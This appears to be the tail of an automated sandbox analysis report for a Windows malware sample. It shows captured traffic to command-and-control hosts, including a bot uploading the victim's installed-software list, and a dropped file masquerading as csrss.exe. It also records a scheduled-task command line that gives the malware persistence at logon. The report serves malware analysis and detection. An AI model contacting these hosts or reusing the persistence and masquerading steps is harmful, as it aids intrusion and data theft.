2021-11-04 12:12:43 UTC	6	OUT	Data Raw: 56 79 2f 61 46 44 74 54 31 6c 39 6d 72 39 63 4c 6a 4d 5a 52 31 4b 33 6b 69 6f 33 46 52 47 33 71 36 53 6f 34 44 42 4f 4c 78 73 63 53 56 38 33 70 6e 59 57 62 41 7a 59 4c 33 55 4d 4b 61 79 43 34 64 30 65 50 41 45 67 4b 32 61 51 45 54 70 2b 46 50 48 4c 67 66 30 53 6b 65 44 35 67 59 70 4b 51 7a 70 61 35 55 59 31 49 48 6e 32 37 59 37 4f 63 49 37 2f 50 72 4b 4d 4f 42 4a 6c 39 78 49 34 4e 49 56 59 51 56 63 56 76 4b 41 54 43 30 39 49 63 55 35 31 55 2b 41 4d 33 49 34 64 53 Data Ascii: Vy/aFDtT1l9mr9cLjMZR1K3kio3FRG3q6So4DBOLxscSV83pnYWbAzYL3UMKayC4d0ePAEgK2aQETp+FPHLgf0SkeD5gYpKQzpa5UY1IHn27Y7OcI7/PrKMOBJl9xI4NIVYQVcVvKATC09IcU51U+AM3I4dS
2021-11-04 12:12:43 UTC	6	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:43 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4iuQxDfQ4tFtkJeEfhdWkJJtiCKEolmQLd1nM9OktOuhrmyLlseynRgsZ0dPc%2FcKDg4zKZPpYXw%2BRN5DD%2BEBtEFPRvE5pmI5JEGr6Fb%2Bnwgemk4THQ8WbSPkH63CXRw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc093f86342cf-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49759	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:13:06 UTC	7	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 144 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-04 12:13:06 UTC	7	OUT	Data Raw: 59 4c 6c 32 4d 61 47 66 78 35 48 64 6f 5a 75 68 4d 65 35 2b 42 37 70 76 58 53 6a 34 7a 2b 78 64 5a 4f 73 31 35 48 33 55 2f 41 6b 38 69 67 4d 66 75 6a 55 48 6a 33 56 35 59 31 63 74 38 46 42 7a 46 32 61 2f 4b 6c 73 68 77 41 6c 6b 5a 31 63 6a 77 75 57 61 4c 75 6f 53 46 37 4f 71 78 55 4b 77 44 63 61 74 74 6a 4f 32 4f 34 74 36 32 73 6f 53 79 49 61 42 31 77 57 53 67 5a 41 32 62 4a 66 54 58 39 4a 6f 39 75 61 67 39 64 70 41 70 51 52 35 Data Ascii: YLl2MaGfx5HdoZuhMe5+B7pvXSj4z+xdZOs15H3U/Ak8igMfujUHj3V5Y1ct8FBzF2a/KlshwAlkZ1cjwuWaLuoSF7OqxUKwDcattjO2O4t62soSyIaB1wWSgZA2bJfTX9Jo9uag9dpApQR5
2021-11-04 12:13:06 UTC	7	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:13:06 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PPyqYirpvXYcS4wMqSEt3f0pKXWnzhko8g8e0wD%2FXh7ehbgyLoU0kPcac1Ldj12x%2BaIVK28BT0unXTygXNiR1YB%2B1Ugm8NNUpr6DI7jIrEjFIp%2FKBHEWKYYihYZew98%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc125cf074e1a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49760	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:13:06 UTC	8	OUT	POST /bots/post-ia-data?uuid=442b90d2-fde4-485f-a003-6086e2191d6e HTTP/1.1 Host: server2.trumops.com User-Agent: Go-http-client/1.1 Content-Length: 18950 Content-Type: application/json; charset=UTF-8 Accept-Encoding: gzip
2021-11-04 12:13:06 UTC	8	OUT	Data Raw: 5b 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 39 20 58 36 34 20 4d 69 6e 69 6d 75 6d 20 52 75 6e 74 69 6d 65 20 2d 20 31 34 2e 32 31 2e 32 37 37 30 32 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 34 2e 32 31 2e 32 37 37 30 32 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 31 39 30 36 32 37 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 32 20 52 65 64 69 73 74 72 69 62 75 74 61 62 6c 65 20 28 78 36 34 29 20 2d 20 31 31 2e 30 2e 36 31 30 33 30 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 31 2e 30 2e 36 31 30 33 30 2e 30 22 2c 22 69 6e 73 74 Data Ascii: [{"display_name":"Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.21.27702","display_version":"14.21.27702","install_date":"20190627"},{"display_name":"Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030","display_version":"11.0.61030.0","inst
2021-11-04 12:13:06 UTC	9	OUT	Data Raw: 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 53 68 61 72 65 64 20 36 34 2d 62 69 74 20 53 65 74 75 70 20 4d 65 74 61 64 61 74 61 20 4d 55 49 20 28 45 6e 67 6c 69 73 68 29 20 32 30 31 36 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 36 2e 30 2e 34 32 36 36 2e 31 30 30 31 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 37 35 35 38 30 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 Data Ascii: lay_name":"Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016","display_version":"16.0.4266.1001","install_date":"20200723"},{"display_name":"Update for Microsoft Office 2016 (KB4475580) 32-Bit Edition","display_version":"","install_date":""
2021-11-04 12:13:06 UTC	11	OUT	Data Raw: 4b 42 34 34 37 35 35 38 30 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 50 75 62 6c 69 73 68 65 72 20 32 30 31 36 20 28 4b 42 34 30 31 31 30 39 37 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 36 34 35 Data Ascii: KB4475580) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Security Update for Microsoft Publisher 2016 (KB4011097) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB44645
2021-11-04 12:13:06 UTC	12	OUT	Data Raw: 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 35 2d 32 30 31 39 20 52 65 64 69 73 74 72 69 62 75 74 61 62 6c 65 20 28 78 38 36 29 20 2d 20 31 34 2e 32 31 2e 32 37 37 30 32 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 34 2e 32 31 2e 32 37 37 30 32 2e 32 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 31 30 36 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 Data Ascii: ll_date":""},{"display_name":"Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702","display_version":"14.21.27702.2","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB4484106) 32-Bit Edition","display_version":"","inst
2021-11-04 12:13:06 UTC	16	OUT	Data Raw: 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 32 31 34 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 32 34 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 32 30 31 33 20 78 38 36 Data Ascii: Microsoft Office 2016 (KB4484214) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB4484248) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Microsoft Visual C++ 2013 x86
2021-11-04 12:13:06 UTC	20	OUT	Data Raw: 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 6e 65 44 72 69 76 65 20 66 6f 72 20 42 75 73 69 6e 65 73 73 20 28 4b 42 34 30 32 32 32 31 39 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 33 30 38 35 35 33 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c Data Ascii: "install_date":""},{"display_name":"Update for Microsoft OneDrive for Business (KB4022219) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Security Update for Microsoft Office 2016 (KB3085538) 32-Bit Edition","display_version":"",
2021-11-04 12:13:06 UTC	24	OUT	Data Raw: 32 33 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 36 34 35 33 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 46 6f 6e 74 63 6f 72 65 22 2c 22 64 69 73 70 6c 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6c 6c 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 30 33 32 32 33 36 29 20 33 32 2d Data Ascii: 23"},{"display_name":"Update for Microsoft Office 2016 (KB4464538) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Fontcore","display_version":"","install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB4032236) 32-
2021-11-04 12:13:06 UTC	27	IN	HTTP/1.1 404 Not Found Date: Thu, 04 Nov 2021 12:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4Ub0PA9Fmqq7OZHOTnOGcBRJwBnYj5ryxvyzrx6FOHxWcZzcHyVWiVfUPaGejltXTD%2F6SRqhh%2Br%2FCIFY9JbyleDFHvMUOkdoo5Awj3PJCVy9rH9NMnIkhsde%2BuCf1%2BDnWMfdu2Yl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc126190b7037-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-04 12:13:06 UTC	27	IN	Data Raw: 34 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 39 70 74 20 22 56 65 72 64 61 6e 61 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 Data Ascii: 4a8<!DOCTYPE html><html><head> <meta charset="utf-8" /> <title>Not Found (#404)</title> <style> body { font: normal 9pt "Verdana"; color: #000; background: #fff; } h1 {
2021-11-04 12:13:06 UTC	28	IN	Data Raw: 70 74 20 22 56 65 72 64 61 6e 61 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 76 65 72 73 69 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 67 72 61 79 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 70 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a Data Ascii: pt "Verdana"; color: #000; } .version { color: gray; font-size: 8pt; border-top: 1px solid #aaa; padding-top: 1em; margin-bottom: 1em; } </style></head>
2021-11-04 12:13:06 UTC	29	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49761	172.67.139.144	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-04 12:13:15 UTC	29	OUT	POST /api/poll HTTP/1.1 Host: server2.trumops.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Content-Length: 640 Accept-Encoding: gzip
2021-11-04 12:13:15 UTC	29	OUT	Data Raw: 44 7a 4f 47 6d 43 49 6c 42 47 33 62 76 75 48 64 6c 2f 39 38 77 50 59 51 36 72 65 73 64 63 6a 37 39 39 34 5a 4f 43 56 44 39 42 6c 72 4c 67 57 54 7a 6e 55 78 48 47 49 47 65 43 49 67 34 68 35 51 4c 67 48 7a 75 7a 32 73 57 63 36 72 2b 69 71 4a 6e 7a 68 34 41 48 76 34 78 6d 73 2f 37 66 58 71 6d 44 74 79 6b 78 31 47 6a 4b 79 45 4f 35 73 37 45 62 59 58 34 57 62 78 55 39 62 56 7a 6f 65 44 51 71 59 4b 48 37 6d 64 43 6b 47 31 6d 47 57 54 43 49 36 49 70 6e 39 78 53 6f 65 6a 39 6b 68 2f 72 55 66 35 55 50 47 70 56 78 32 50 70 62 63 73 4d 4b 61 42 44 30 4c 76 59 4a 66 65 7a 6f 59 52 35 30 45 2b 6f 33 59 32 42 41 2f 58 6f 43 6c 51 6c 50 73 4f 39 79 67 46 51 38 72 39 71 43 33 70 33 46 5a 46 48 62 4a 37 62 36 61 7a 6b 6b 39 48 78 69 46 77 59 61 4e 62 53 6b 5a 38 4c 31 79 Data Ascii: DzOGmCIlBG3bvuHdl/98wPYQ6resdcj7994ZOCVD9BlrLgWTznUxHGIGeCIg4h5QLgHzuz2sWc6r+iqJnzh4AHv4xms/7fXqmDtykx1GjKyEO5s7EbYX4WbxU9bVzoeDQqYKH7mdCkG1mGWTCI6Ipn9xSoej9kh/rUf5UPGpVx2PpbcsMKaBD0LvYJfezoYR50E+o3Y2BA/XoClQlPsO9ygFQ8r9qC3p3FZFHbJ7b6azkk9HxiFwYaNbSkZ8L1y
2021-11-04 12:13:15 UTC	29	IN	HTTP/1.1 404 Not Found Date: Thu, 04 Nov 2021 12:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 set-cookie: PHPSESSID=jp6rg8da1hqqg23tjramjvmq4d; path=/; HttpOnly expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VULNO5Jg3NJ174F0kG6Gst68KUn7qITHMZj2A7IY4Nz0a1rfozYrXWuoYRMg%2FxRYwvjKeu5aorLZfTsqKFJnH5%2B410dszzmqHyXdOL7bIrl%2BSVbGW2OHUGkkeU93qYeHI6CXQle4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a8dc15e7c2f774a-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-04 12:13:15 UTC	30	IN	Data Raw: 65 38 0d 0a 78 53 78 67 2f 62 66 6c 51 4a 71 62 2b 47 6c 36 45 72 4b 38 45 4c 4e 61 48 7a 6b 4d 77 67 43 4e 4b 67 53 61 69 4f 63 68 41 78 73 6a 67 2b 4d 59 45 58 63 45 6b 54 2f 49 6e 36 69 2f 4f 48 38 73 35 71 66 4a 48 2f 30 6d 56 33 43 50 62 7a 72 4b 4a 76 4b 55 45 4f 31 54 34 73 78 75 46 41 57 42 6f 2f 49 61 70 50 63 70 70 31 6e 37 71 55 63 64 6c 69 34 79 70 4d 4f 59 34 4d 42 76 63 58 38 2b 50 6a 38 4c 39 48 67 7a 43 38 54 6c 70 59 50 4a 72 2b 4c 33 77 61 37 37 45 61 63 55 75 6f 4b 7a 4a 38 68 61 75 33 4f 71 66 4f 6c 37 4e 72 57 7a 36 6e 45 6d 5a 72 35 38 4a 58 57 51 31 39 36 64 50 6c 34 6a 53 39 52 7a 7a 4a 47 39 32 74 69 34 4e 71 43 2b 45 4a 71 57 31 45 72 61 65 70 54 52 52 79 76 53 55 67 3d 3d 0d 0a Data Ascii: e8xSxg/bflQJqb+Gl6ErK8ELNaHzkMwgCNKgSaiOchAxsjg+MYEXcEkT/In6i/OH8s5qfJH/0mV3CPbzrKJvKUEO1T4sxuFAWBo/IapPcpp1n7qUcdli4ypMOY4MBvcX8+Pj8L9HgzC8TlpYPJr+L3wa77EacUuoKzJ8hau3OqfOl7NrWz6nEmZr58JXWQ196dPl4jS9RzzJG92ti4NqC+EJqW1EraepTRRyvSUg==
2021-11-04 12:13:15 UTC	31	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 0NlSa5bf55.exe PID: 2956 Parent PID: 3044

General

Start time:	13:12:34
Start date:	04/11/2021
Path:	C:\Users\user\Desktop\0NlSa5bf55.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0NlSa5bf55.exe"
Imagebase:	0x400000
File size:	2095616 bytes
MD5 hash:	EE30D6928C9DE84049AA055417CC767E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 2700 Parent PID: 2956

General

Start time:	13:12:35
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: upd.exe PID: 5716 Parent PID: 2956

General

Start time:	13:12:39
Start date:	04/11/2021
Path:	C:\Users\user\Desktop\upd.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\upd.exe -update
Imagebase:	0x400000
File size:	3788288 bytes
MD5 hash:	3C3046F640F7825C720849AAA809C963
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 31%, Metadefender, Browse Detection: 86%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 2008 Parent PID: 572

General

Start time:	13:12:44
Start date:	04/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: TrustedInstaller.exe PID: 5352 Parent PID: 572

General

Start time:	13:12:45
Start date:	04/11/2021
Path:	C:\Windows\servicing\TrustedInstaller.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\servicing\TrustedInstaller.exe
Imagebase:	0x7ff635d90000
File size:	131584 bytes
MD5 hash:	4578046C54A954C917BB393B70BA0AEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: upd.exe PID: 1304 Parent PID: 5716

General

Start time:	13:12:46
Start date:	04/11/2021
Path:	C:\Users\user\Desktop\upd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\upd.exe" -update
Imagebase:	0x400000
File size:	3788288 bytes
MD5 hash:	3C3046F640F7825C720849AAA809C963
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 6688 Parent PID: 572

General

Start time:	13:12:54
Start date:	04/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: csrss.exe PID: 464 Parent PID: 1304

General

Start time:	13:12:57
Start date:	04/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe
Imagebase:	0x400000
File size:	3788288 bytes
MD5 hash:	3C3046F640F7825C720849AAA809C963
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 31%, Metadefender, Browse Detection: 86%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: schtasks.exe PID: 4644 Parent PID: 464

General

Start time:	13:13:06
Start date:	04/11/2021
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
Imagebase:	0x7ff646d20000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5360 Parent PID: 4644

General

Start time:	13:13:06
Start date:	04/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: schtasks.exe PID: 5916 Parent PID: 464

General

Start time:	13:13:06
Start date:	04/11/2021
